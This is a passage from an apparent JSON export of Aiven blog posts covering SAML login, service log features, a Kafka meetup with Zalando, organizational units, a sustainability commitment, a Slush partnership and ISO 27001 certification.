link\")!\n\n\n","categories":[{"_key":"2f7b6e7abd9d","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"13b5a85040f8","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-5ad3586ea5490c715d9b1da6bb45796d8e451384-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-11-14T08:17:12.317Z","related":[{"_key":"1e8a98516f11","_ref":"6xsLe60xhyOugnLw9yg8Uc","_type":"reference"},{"_key":"4124184ab61a","_ref":"5bjgOfogZfHZzRsm2kds3w","_type":"reference"},{"_key":"de175d665ab3","_ref":"41CJPFxYD9orHdvISHink9","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/all-in-for-apache-kafka-and-oss-collaboration"},"subtitle":"Aiven contributes back to the Apache Kafka® community with a dedicated full-time team. Find out more about our work!","title":"All in for Apache Kafka® and OSS collaboration"} {"__i18n_lang":"en","_createdAt":"2022-07-04T13:21:53Z","_id":"3GBxcNl39k10W3k2kiKeqf","_rev":"rV9BZDYEBgQp95tIyZwgdd","_type":"post","_updatedAt":"2023-06-08T07:50:54Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Aiven now supports SAML authentication, which streamlines account management and password policy enforcement. SAML - or _Security Assertion Markup Language_ - enables a form of SSO (single sign-on) authentication by allowing authentication and authorization data between users and auth providers to be exchanged. \n\n\u003e We currently support authentication using Google G-Suite and Okta, with plans to support others in the future.\n\nAs an example, instead of having to invite every user to each project individually, admins merely have to invite members to use SAML authentication once and they are automatically enrolled into every owned project. This level of access delegation is not available under plain password authentication.\n\n#### Enabling SAML on Aiven\n\nTo enable SAML authentication, the admin of an Aiven account sends an invite link to their project collaborators. That link will go to an Aiven Console page where the user can choose to either link an existing Aiven profile, or create a new profile using the SAML authentication provider associated with the account.\n\n\n![The SAML authentication prompt](https://cdn.sanity.io/images/sczeoy4w/production/e35333d01a349492e8f59d85a4555ee5fd4ac700-1469x710.png)\n\nClicking __Login__ will send the user to the login page and redirect to the SAML platform so that a corresponding SAML authentication method can be added to the profile. Clicking __Sign up__ will direct the user to a page where a new auth profile for the user can be created.\n\n#### Wrapping up\n\nWith SAML authentication, Aiven service admins have more options for managing user access to Aiven projects. Follow our [blog](/blog/feed.xml), [changelog](/changelog/feed.xml) RSS feeds, [Twitter](https://twitter.com/aiven_io) feed or [LinkedIn](https://www.linkedin.com/company/aiven/) page to stay current on new features.\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"6CI2flR8OpeiqtSCkEmG7Z","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-bd61999acd57354208625aa34d7c4a09ad37f72c-752x405-png","_type":"reference"}},"publishedAt":"2019-10-07T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Customers can now include their Aiven projects in their SAML authentication workflows; find out how to implement it in the Aiven platform.","metaImage":{"alt":"","asset":{"_ref":"image-bd61999acd57354208625aa34d7c4a09ad37f72c-752x405-png","_type":"reference"}},"metaTitle":"Aiven supports SAML login – Simplify user authentication"},"slug":{"_type":"slug","current":"/blog/aiven-supports-saml-authentication"},"subtitle":"Customers can now include their Aiven projects in their SAML authentication workflows; find out how to implement it in the Aiven platform.","title":"Aiven supports SAML login"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3kdn2WXFqKKGGBNtpu4cwo","_rev":"4xxJDWP8Sw6o7zBrUAiIE7","_type":"post","_updatedAt":"2023-08-03T10:36:59Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"__Update (September 2021): Aiven for Elasticsearch has been replaced by [Aiven for OpenSearch](https://aiven.io/opensearch), a truly open source alternative!__\n\nWe've gotten a lot of great feedback on our service logs and we'd like to share some recent game-changing improvements that we've made to them, namely to our **console logs** and a recently enabled **Aiven for Elasticsearch service integration**.\n\nSpecifically, we’ve made improvements to the following:\n\n* Integration of all Aiven services with Elasticsearch\n* Console log UI, visibility, and accessibility\n\nIn this post, we’ll look at the improvements we made to the Aiven console logs and the OpenSearch logs service integration in greater detail. Let’s start with the biggest improvement—the OpenSearch logs service integration.\n\n## Push your service logs to Aiven services\n\nYou can now send service logs from their Aiven for Apache Kafka, PostgreSQL, Elasticsearch/OpenSearch, Cassandra, Redis, InluxDB, and Grafana services to an Aiven for OpenSearch instance by enabling the OpenSearch logs integration.\n\n![OpenSearch dashboards log view](https://cdn.sanity.io/images/sczeoy4w/production/a256fb2a79fab673fcbe350ec4ee8f4c525013de-1500x849.png)\n\nBy using this integration, you will have **unlimited retention** for your logs and the ability to take advantage of Aiven for OpenSearch’s powerful search features to access relevant data from among them.\n\nEven better, if you are also using Aiven for Grafana, the latest release allows you to configure alerts based upon their OpenSearch queries, giving you even greater command over your log management.\n\nOpenSearch logs integration can be quickly created from the “Enhance my logs” button within the logs tab or the “Manage” button within the Service integrations row of each service panel. For the specific steps, check out [Getting started with OpenSearch log integration](https://help.aiven.io/en/articles/2090163-getting-started-with-elasticsearch-log-integration).\n\n## Aiven console service logs updates\n\nPreviously, our console logging allowed you to only see the last 100 entries, which didn’t allow for a deep dive into your log history. This proved even more frustrating for users with high volume services.\n\n\u003e For instance, performing any kind of historical search would be impossible with a service such as Kafka because the logs could change by the second.\n\nNow, we've provided support for our web console (as well as our API and CLI) so that **users can access the last two days of logs at will**, making it easy to remain current with the latest service logs.\n\n### Console users\n\nFor our web console users, we’ve made improvements to the logs UI to enhance readability as well as allow users to freely scroll the last two days of their service logs.\n\n![updated aiven console log](https://cdn.sanity.io/images/sczeoy4w/production/aaa852d4e58871adfdff4115a6b7ea22d68796c8-1500x840.png)\n\n### CLI users\n\nNow, let’s take a look at some simple commands that [our CLI](https://github.com/aiven/aiven-client) users can access their logs with. Aiven tooling now supports tailing and fetching the last few days of service logs.\n\n**Tailing:**\n```\n$ avn service logs myservice -f\n```\n\n**Fetching:**\n```\n$ avn service logs myservice -f -S desc\n```\n\n## Wrapping up\n\nWhether you choose to continue using our console logs or take advantage of the log integration, you will have greater visibility into and flexibility over your service logs.\n\n[Check out the Aiven Amazon CloudWatch integration](https://aiven.io/blog/watch-your-aiven-metrics-with-cloudwatch) between Aiven services and the CloudWatch service from Amazon Web Services (AWS).\n\nWe’re still looking to add 3rd-party integrations with popular logging platforms, and should have a few by year-end. So, please continue giving us feedback because that’s how we prioritize our additions.\n\nIn the meantime, join our [blog](https://aiven.io/blog/feed.xml) and [changelog](https://aiven.io/changelog/feed.xml) RSS feeds; or, follow us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/) to stay up-to-date.\n","categories":[{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"9yQ4jxpUoNWbSOSWYlghM","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-0ce2998670e7410dd911195bac00f7a802d03bba-752x405-png","_type":"reference"}},"publishedAt":"2018-07-09T00:00:00.000Z","seo":{"metaDescription":"We've added a few updates to our console UI and service integrations that'll give you exceptional insight into your logs. Read to find out more.","metaImage":{"alt":"","asset":{"_ref":"image-0ce2998670e7410dd911195bac00f7a802d03bba-752x405-png","_type":"reference"}},"metaTitle":"Want greater command over your service logs?"},"slug":{"_type":"slug","current":"/blog/want-greater-command-over-your-service-logs"},"subtitle":"We've added a few updates to our console UI and service integrations that'll give you exceptional insight into your logs. Read to find out more.","title":"Want greater command over your service logs?"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"9CacehWVDza55p2FiJKlh","_rev":"VpqI6rTG30oq7pRBY4AC3B","_type":"post","_updatedAt":"2022-10-25T12:45:51Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Our latest Kafka meetup was co-hosted with Zalando at their Helsinki office. Zalando’s numbers are impressive: __their microservices architecture handles several terabytes of data per day across over 2,000 events.__\n\nMore than an eCommerce company, they are unmistakably a tech powerhouse that [employs over 1,600 tech workers](https://corporate.zalando.com/en/investor-relations/publications/annual-report-2019) who not only manage an impressive mission critical infrastructure, but are also actively contributing their tooling and solutions to open source.\n\nIn short, a great organization and talent to co-host with; now let’s get to the who and what of the meetup. Representing Zalando was Dmitriy Sorokin, a senior java developer. For Aiven, our very own Head of Product, Hannu Valtonen.\n\n## It started with Nakadi\n\nThe event started with Dmitriy discussing Nakadi and Bubuku, the former a distributed event bus with RESTful API built on top of Kafka and the latter a Zalando-built supervisor for operating Kafka on AWS.\n\n::banner{ctaText=\"Download the slide deck\" ctaLink=\"https://cdn.sanity.io/files/sczeoy4w/production/cf0d2c8aaeb5ccc75a2142e629915e658a7762ec.pdf\" title=\"Nakadi, a RESTful API on top of Kafka-like queues\"}\n\n__For Nakadi, one of the most interesting features is Timelines.__ Essentially, Timelines allow you to efficiently move topics and events around Kafka clusters and their brokers without interrupting producers or consumers.\n\nFor instance, moving topics between clusters requires data to be copied between them to ensure consistency. If the cluster is large enough, like Zalando clusters, this can take a lot of time during which performance is degraded.\n\n![nakadi timelines diagram](https://cdn.sanity.io/images/sczeoy4w/production/964398e1e93c79b8bc54b80a44cbdece0f8c8d27-886x498.png)\n\nBy using Timelines, you can begin writing to a second cluster while letting the consumers continue reading from the first. The consumers eventually catch up to the producer and begin reading from the second: all of this happens with no interruption in service.\n\nSimilar patterns can be used to perform other tasks, e.g. repartitioning. With Nakadi abstraction, it is possible to utilize other Kafka-like queues, e.g. AWS Kinesis or Apache Pulsar. For even more examples and diagrams, download the slide deck!\n\n## Continued with Bubuku\n\n::banner{ctaText=\"Download the slide deck\" ctaLink=\"https://cdn.sanity.io/files/sczeoy4w/production/178aca40c6986a19324bb69bfd34a5df52e1648a.pdf\" title=\"Bubuku, a tool that Zalando created for making their operations of Kafka easier\"}\n\n__Dmitriy then moved onto discuss Bubuku,__ a tool that Zalando created for making their operations of Kafka easier.\n\nBubuku allows users to coordinate Kafka instances, such as starting and restarting them in controlled sequences, detect and restart misbehaving Kafka processes, as well as perform balancing partition distribution.\n\n#### Dmitry’s number one rule for creating a supervisor like Bubuku?\n\n\u003e Don’t, search for an existing one!\n\nThis is perhaps the fundamental dilemma with tech organizations, to build or to buy, and one to always balance.\n\n## And ended with PG CDC with Debezium\n\nHannu closed the evening’s field with his discussion on Change Data Capture in PostgreSQL, specifically the issues with how it used to be done and how can be done much more easily using Kafka via Debezium.\n\n::banner{ctaText=\"Download the slide deck\" ctaLink=\"https://cdn.sanity.io/files/sczeoy4w/production/a00d44e557a4de1cd49f809feadd85bc882af8fc.pdf\" title=\"PG change data capture with Debezium\"}\n\nIn the early 2000s, or the age of the dinosaur as he put it, CDC was a batch-based process where you might do a nightly database dump of some or all tables and perform ETLs from multiple databases to a single system.\n\n\u003e Luckily, this was about to change in 2014 thanks to logical decoding.\n\nLogical decoding __allows PostgreSQL to keep track of all changes within the database__ and decodes WAL to a desired output format.\n\nBUT, there are some things that it can't do, such as replicate DDL. It also doesn’t handle failovers exceptionally well because the replication slots exist only on master nodes.\n\n#### So where does Debezium come in?\nSimple, it uses logical replication to replicate a stream of changes to a Kafka topic. Its primary benefit is that it turns what was once a batch process into a streaming one, allowing users to get data in real-time.\n\nAs great as it is, there is a _gotcha or two_ like logical decoding. For example, it has limited data type support and if a PostgreSQL master failover occurs, the PG replication slot disappears; forcing users to recreate state.\n\n## Wrapping up\n\nAs I hope you’ve seen, our last Kafka meetup was jam-packed with information on tools to manage and get even more out of Apache Kafka. It also provided fertile ground for participation from our 30+ attendees.\n\nIt’s been a busy spring, hence the delay in this post. Nonetheless, our next meetup is definitely in the works! Make sure you don’t miss out and join the [Helsinki Apache Kafka Meetup](https://www.meetup.com/Helsinki-Apache-Kafka-Meetup/) group to get notified when we schedule it.\n\nIn the meantime, you can review the slide decks from the presentations and [join the Aiven blog's RSS feed](https://aiven.io/blog/feed.xml) or follow us on [Twitter](https://twitter.com/aiven_io) to stay up-to-date with the latest Aiven Kafka updates.\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-e6a47ff7abdf0e44807ee37b756c4dfce251021b-1200x628-png","_type":"reference"}},"publishedAt":"2018-05-11T00:00:00.000Z","seo":{"metaDescription":"Aiven's fourth Kafka meetup was co-hosted at Zalando's Helsinki office. Find out what we discussed and get the slide decks in this latest article.","metaImage":{"alt":"","asset":{"_ref":"image-e6a47ff7abdf0e44807ee37b756c4dfce251021b-1200x628-png","_type":"reference"}},"metaTitle":"Zalando joins Aiven at latest Kafka meetup"},"slug":{"_type":"slug","current":"/blog/zalando-joins-aiven-at-latest-kafka-meetup"},"subtitle":"Aiven's fourth Kafka meetup was co-hosted at Zalando's Helsinki office. Find out what we discussed and get the slide decks in this latest article.","title":"Zalando joins Aiven at latest Kafka meetup"} {"__i18n_lang":"en","_createdAt":"2023-02-06T11:22:07Z","_id":"70c50025-8a7e-47d1-9260-bc1cf116c176","_rev":"GEwcjZ4hpY0RnpIR7pYEMd","_type":"post","_updatedAt":"2023-06-22T13:29:40Z","authors":[{"_key":"b615c6e0d632","_ref":"495d15fb-d2b1-4a6b-a5af-44b62df3857a","_type":"reference"}],"body":"At the end of 2022, we updated the Aiven Console navigation to make it easier to quickly find and manage your accounts and projects. Building on top of this release, we are now excited to announce the upcoming release of the organizations and organizational units concepts later this month.\n\nPreviously, the term ‘account’ was used in the Aiven Console to group projects together. Very soon, organizations will replace accounts and allow you to globally manage and scale your setup on the Aiven platform. Organizations can be flexibly consolidated into one structure using organizational units to mirror your own organizational hierarchy. \n\nThis change will make your life easier:\n\n- You can separate your production and testing projects to manage your environments more efficiently. \n- You can configure e.g. authentication methods and billing only once - it’s fully set-and-forget.\n- Centralized administration means your projects are easier to manage.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/fa0e09d8abea81326ada6c884a2a1e92de5f0281-5000x2618.png?w=450)\n\nYour existing accounts will automatically become organizations. You don’t have to do anything. \n\nThis change is fully backwards compatible. All existing API endpoints and Terraform state files will continue to work.\n## What are organizations and organizational units?\n### Organizations\n\nAn organization is the central entity that lets you manage settings more easily. These include: \n\n- authentication methods\n- billing groups\n- users\n- teams \n\nFurthermore, an organization defines the context you are working in. This means that when you select an organization, you can only view and create projects within that organization.\n\nWe'll be adding new functionality to organizations that will further streamline how you manage your Aiven projects and services. We’ll get to that in a minute.\n\n### Organizational units (Beta)\n\nOrganizational units allow you to further refine the hierarchy of your projects and services. This hierarchical structure gives you greater flexibility to organize your account structure to fit your needs.\n\nFor example, you can now easily split production and testing workloads into different organizational units that are in the same Aiven organization. You can also create separate units for different departments, limiting access as needed to only those who need it.\n## More upcoming changes\n### User groups\nUp next, we will roll out user groups (replacing “teams”) that will be shared across the entire organization. This means that you will only need to set up the users and their roles for each group once.\n\nYou’ll be able to use user groups to gain access to users at the organizational unit or project level. \n### Domains\nWith the introduction of domains, you’ll be able to claim a domain name for your organization. Domains will make it easier to control access to your organization in Aiven: access is granted based on a valid e-mail address belonging to the domain.\n\nBy claiming a domain name, all users who belong to the domain will be managed users. \n### Managed users\nThe introduction of user groups and domains will pave the way for managed users. This feature will make it possible to centrally manage all users who belong to your domains and therefore your organization. It’ll be easier to add them to existing groups or create new groups without needing to invite each person individually.\n\nYou’ll also be able to define a set of default permissions for new users when they sign up with your organization. \n\nAnd finally, you’ll have full control over the user lifecycle. You can modify their details, reset their passwords, or even deactivate the user.\n\n### Syncing users and user groups\n\nWe’re also adding support to automate the user and user group lifecycle via your preferred identity provider. You’ll be able to onboard and offboard users automatically via SCIM. \n\n## Wrapping up\nBy mirroring your organizational hierarchy, the concept of organizations and the updates that are following will make it easier to manage your infrastructure at Aiven. You'll get better control and clarity into how your setup is put together.\n\n\n\n\u003c!--\nDuplicate this post by clicking the drop-down menu in the bottom right corner, and selecting **Duplicate**\n\nSet the post date\nInsert the hero image (set it up in https://sanity.avnsmarketingtest.net/media)\nDefine the author\nAdd relevant categories\nAdd keywords as recommended by SEO agency\nWrite the post\n\nAdd a wrapping up section and a strong CTA.\nKeep the \"Next steps\" section as a \"footer\". Remember to add links to the relevant product pages.\n--\u003e\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"661a90060530","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-19b279179b65094800bf01c344af2f12b5b72036-1567x844-png","_type":"reference"}},"publishedAt":"2023-02-06T11:33:26.349Z","related":[],"slug":{"_type":"slug","current":"/blog/introducing-organizations-and-units-in-aiven"},"subtitle":"Things are about to change in the Aiven Console: we're moving from \"accounts\" to \"organizations\". Find out more about what it means!","title":"Introducing organizations and units in Aiven"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"70Tx3E8y7y9dUZN8Xkmn9v","_rev":"RAyRTsSFAoDoj6Nvfq2Jch","_type":"post","_updatedAt":"2022-11-25T08:56:57Z","authors":[{"_key":"1Ez1IymDDjhKg9pEyvssrK","_ref":"1Ez1IymDDjhKg9pEyvssrK","_type":"reference"}],"body":"Aiven has always been an outspoken proponent of open cloud infrastructure. We have built our platform to be open and accessible, straightforward and easy to use, flexible and universal — an offering that embodies the values that are close to our heart, values that we have consistently promoted as we have grown in the past few years. And as the Aiven platform is based on open source software, it is also important for us to contribute and give back to the communities that we depend on.\n\nOur mission is to make developers’ lives better, and let them build what matters most. For us, developer experience is not an afterthought. It’s an integral part of who we are and what we value.\n\n\u003e “We started Aiven to build something we would have loved to use ourselves. We wanted to make a service that allows developers to worry less and get more stuff done.” - Oskari Saarenmaa, CEO\n\nEfficient storage and movement of data is crucial for modern life. Without data, websites would be empty and apps would not exist. Progress would grind to a halt. This makes access to and control of data an issue of equality and equity. The data technologies on the Aiven platform are universally applicable and open by default, but still not accessible for everyone, as using them requires a specific set of skills and resources. Aiven wants to lower the threshold for people to use these technologies to build the applications of tomorrow — and to do this as sustainably as possible.\n\nThis statement outlines our vision of the sustainable open source data cloud we want to advocate for that powers our digital ecosystem.\n\n## 1. Clean and efficient data infrastructure\n\nWe are witnessing unprecedented climate change, where cloud services have the potential to be both a part of the problem and a part of the solution.\n\nCloud energy consumption is increasing as applications become more and more data-intensive. However, cloud platforms are by default more energy efficient than private data centers, and a meaningful part of cloud consumption goes into replacing these less efficient methods. Despite great improvements in decarbonisation by hyperscalers and other key stakeholders, there is more we can do to make energy consumption in the technology sector more environmentally sound. This involves both changing the energy mix and controlling the overall consumption of energy.\n\n__Our goal is to map our own environmental footprint, give our customers visibility into their energy mix and their emissions related to their use of Aiven services, and eventually provide them with means to decrease their environmental footprint.__\n\n## 2. Democratized access to technologies\n\nWe believe that great things come from more people having access to technology.\n\nWe have built a business that has open source software at its heart. The very nature of open source is to have the software available for anyone to use and collaboratively develop.\n\nIn reality, a collaborative approach does not always materialize in an ideal way. Many vital pieces of software start as small ventures by individual developers, and later snowball into substantial projects. Companies begin to rely on them, but often either don’t contribute back to them, or start to restrict access.\n\n\u003e “If we want open source projects to stay around, any company using open source projects should dedicate some substantial time contributing back to them.” - Josep Prat, Open Source Engineering Manager\n\nWe are committed to the core open source values and do our best to promote the health of the communities around the open source projects that are near and dear to us.\n\nWhile building our platform, we have learned the hard way that building applications with best-of-breed technologies is not a trivial undertaking. We have benefited from the support of others, from learning to code as part of different open source communities to being able to scale our business early on with the help of programs like [DigitalOcean Hatch](https://www.digitalocean.com/hatch) and [AWS Activate](https://aws.amazon.com/local/nordics/startups/).\n\nNow it’s our time to give back and contribute to the development of the future — not just in terms of [supporting startups](https://aiven.io/cluster), but by enabling an even wider range of people with impactful ideas to turn them into reality with the help of the open source cloud.\n\n__Our goal is to lower the barriers of access to new technologies and new ways of utilizing data, so that more people can contribute to the development of our society and economy.__\n\n## 3. Diversity and inclusion in tech\n\nIt is no secret that the tech industry has struggled to build diverse and inclusive workplaces. The industry has the opportunity to do better, and so do we. At Aiven, we have a journey ahead of us, and we are committed to taking that journey towards being a more diverse and inclusive company. In addition, it is our responsibility to create excitement for tech as early as possible.\n\nWe believe in open source because we think that companies have a responsibility to contribute to the tech they design and use. We want our culture to reflect the same thinking: it is our responsibility to make Aiven accessible and open to everyone.\n\nWe are committed to making sure that candidates from underrepresented groups find us and we find them, and we will do our utmost to remove roadblocks to inclusion to retain more diverse talent. For Aiven, this commitment means building a community where people can be their authentic selves, thrive based on capability, and work in a safe environment.\n\n__Diversity of thought is what creates growth. Without inclusion, the power of diversity remains untapped. We want Aiven to be a place of openness, ownership, and courage for all.__\n\n-----\n\nAs a company, our vision at Aiven is to empower everyone with the best data technology. We want to enable both the internal and the larger Aiven community to build what matters using a more sustainable open source cloud. We want to play a part in building a world where technology is developed by everyone, _for_ everyone, with the good of the people and our environment in mind.\n\nWe have already taken concrete steps towards this vision in the past years, but we’re still at the beginning of our journey. Like many things at a high-growth company, this, too, is an iterative process. From now on, we will be providing our community with monthly progress updates on our sustainability and social impact program. To stay in the loop, please [subscribe to our newsletter](https://aiven.io/newsletter).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"3cec3f64f68c","_ref":"5kZZK0B9b8ouIUDgjaDOmZ","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-b2a8ae8dc513fe38a559913d3d03a3b56323e914-1567x844-jpg","_type":"reference"}},"publishedAt":"2022-05-11T00:00:00.000Z","related":[{"_key":"e48f037e6931","_ref":"258bc7bc-786c-445f-83e5-87502edbfef1","_type":"reference"},{"_key":"34f07cb67f3f","_ref":"1WyAWQ2EwNucHT85SFMK5S","_type":"reference"}],"seo":{"metaDescription":"Aiven will contribute to stopping climate change and increasing equal access to technology. Read our commitment to find out how.","metaImage":{"alt":"","asset":{"_ref":"image-b2a8ae8dc513fe38a559913d3d03a3b56323e914-1567x844-jpg","_type":"reference"}},"metaTitle":"Aiven Sustainability and Social Impact Commitment"},"slug":{"_type":"slug","current":"/blog/sustainability-and-social-impact-commitment"},"subtitle":"Aiven will contribute to stopping climate change and increasing equal access to technology. Read our commitment to find out how.","title":"Aiven Sustainability and Social Impact Commitment"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"48JMSFTvw9jBqbEE7sv4Ct","_rev":"AgVn9c2bYty4stE1QrDAd6","_type":"post","_updatedAt":"2022-11-09T10:11:49Z","authors":[{"_key":"7Hxte8tqh1KGbCYCQOPHsP","_ref":"7Hxte8tqh1KGbCYCQOPHsP","_type":"reference"}],"body":"## What is Slush?\n\n[Slush](https://www.slush.org/events/helsinki/) is the world’s leading startup event. Hosted in Helsinki, Finland every November, the event has 25,000+ attendees and facilitates meetings between the world’s most promising startups and venture capitalists. With matchmaking and pitching competitions, Slush has built an exciting community of the most innovative minds in tech.\n\nSlush has also built an education program - Slush Academy, which aims to accelerate the learning process for young entrepreneurs with mentorship from experienced founders through a 3-month summer program. The Slush event in Helsinki as well as the Slush Academy program have been put on hold in 2020 due to COVID-19, so the company has since focused on research.\n\n## Entrepreneurship Redefined\n\nMost recently, Slush has published research on startups, investors, and the state of tech. Their most recent publication is called ‘Entrepreneurship Redefined’. In the 97 page publication, Slush presents data collected from 3,500 companies, 2,000 investors, and 10,000 event attendees, including data on 10,000 pre-booked meetings during past Slush events.\n\nIn addition to this data, Slush has conducted 60 anonymous interviews with some of the most influential founders, investors, and operators in tech, and pulled in 5,000 survey responses collected for their ‘State of European Tech’ publication in 2019.\n\nThe result is a compelling look at modern entrepreneurship, including a look into the near future with predictions for the 2020s. Diversity and inclusivity, purpose-driven change, and revolutionary innovation are the key narratives - and these, according to their findings, will dominate the decade. At Aiven, we tend to agree with them.\n\n## Aiven’s support for forward-thinking research\n\nWe’re working towards a new age of entrepreneurship alongside Slush and other innovative companies across the world. The core message of this research is that success stems from diversity, purpose-driven change, and revolutionary innovation. Starting a conversation about the shortfalls of the startup ecosystem is the first step in driving change for the better.\n\nAiven will be at the forefront of these discussions throughout this new decade, and we hope that entrepreneurs, academic researchers, government officials and creatives will work together to generate the revolutionary innovation that humankind desperately needs.\n\nDownload the full PDF version of ‘Entrepreneurship Redefined’ [here.](https://www.slush.org/entrepreneurship-redefined/)\n","categories":[],"mainImage":{"alt":"","asset":{"_ref":"image-32f01e608b96ea803f296b09ca49a10951317a9e-752x405-png","_type":"reference"}},"publishedAt":"2020-06-17T00:00:00.000Z","seo":{"metaDescription":"Together with Slush, we set out to see what the future holds for the startup community.","metaImage":{"alt":"","asset":{"_ref":"image-32f01e608b96ea803f296b09ca49a10951317a9e-752x405-png","_type":"reference"}},"metaTitle":"Aiven joins forces with Slush to define the future of entrepreneurship"},"slug":{"_type":"slug","current":"/blog/aiven-joins-forces-with-slush"},"subtitle":"Together with Slush, we set out to see what the future holds for the startup community.","title":"Aiven joins forces with Slush to define the future of entrepreneurship"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"2vn5b8l7Fb2xZV3ZcqIr2B","_rev":"v0cQAWzuhXdzXIalMlJWhC","_type":"post","_updatedAt":"2023-06-08T12:12:48Z","authors":[{"_key":"2CAEpbT3LuYkmPFk5o0m1L","_ref":"2CAEpbT3LuYkmPFk5o0m1L","_type":"reference"}],"body":"Aiven is committed to providing all of our services with the highest level of information security. As a testament to that promise, we’re proud to announce that our Information Security Management System is now ISO/IEC 27001:2013 certified!\n\nIf you'd like to have a look at the certificate, please go to our [Security page](https://aiven.io/security-compliance \"Security \u0026 Compliance at Aiven\").\n\nAs per standard, we have implemented and operate an Information Security Management System (ISMS) that drives and mandates us to:\n\n* Systematically and continuously evaluate Information Security risks, considering impact and likelihood of the threats and vulnerabilities,\n* design, implement and operate a comprehensive set of information security controls to address security risks, and\n* have a management process in place to review and assess the performance and the suitability of the Information Security Management System on an ongoing basis.\n\nNow that you have a high-level view of our ISMS and how it pertains to ISO/IEC 27001, let’s briefly cover what ISO and its ISO/IEC 27001:2013 security standard are, and why we underwent certification.\n\n## What’s ISO and ISO/IEC 27001:2013?\n\nThe International Organization for Standardization (ISO) is an independent, non-governmental organization that,\n\n\u003e ...develops voluntary, consensus-based and market relevant International Standards...to ensure quality, safety and efficiency.\n\nMeanwhile, __ISO/IEC 27001:2013__ is its information security standard providing requirements for implementing and maintaining an Information Security Management System (ISMS). It requires a systematic and continuous risk management process that ensures the confidentiality, integrity and availability of information.\n\nIf you meet the requirements, you are able to undergo a certification audit by an independent, accredited certification body. The audit is rigorous, involving,\n\n1. Documentation, policies and processes review,\n2. Verification of evidence and records, and \n3. Personnel interviews.\n\nBut, it doesn’t end with certification. Once certified, you are subject to a three year cycle comprised of two annual surveillance audits and a recertification audit on year three to ensure continued compliance.\n\n## Why did we undergo ISO27001 certification?\n\nAlthough our founders’ backgrounds are in information security, we are acutely aware of customer concerns over the security of their sensitive information—especially when evaluating whether or not to do business with an SME.\n\nCertifying, especially under ISO27001, was not only an opportunity for us to test our knowledge and procedures, but to give current and potential customers confidence that we are capable of providing thorough information security.\n\nNot to mention that the necessary steps to earn certification also help perpetuate a culture where information security is on the mind of everyone in our organization, no matter the role. And believe us, __we all care for your information security!__\n\n## Where is more information and what’s next?\n\nFeel free to check out the certificate on our [security and compliance page](https://aiven.io/security-compliance#security-compliance). As for what’s next, we will continue to uphold our end when managing and protecting your data; with or without certificates.\n\nWe will continue to pursue additional certifications to further demonstrate our capabilities and commitment to information security. \n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related 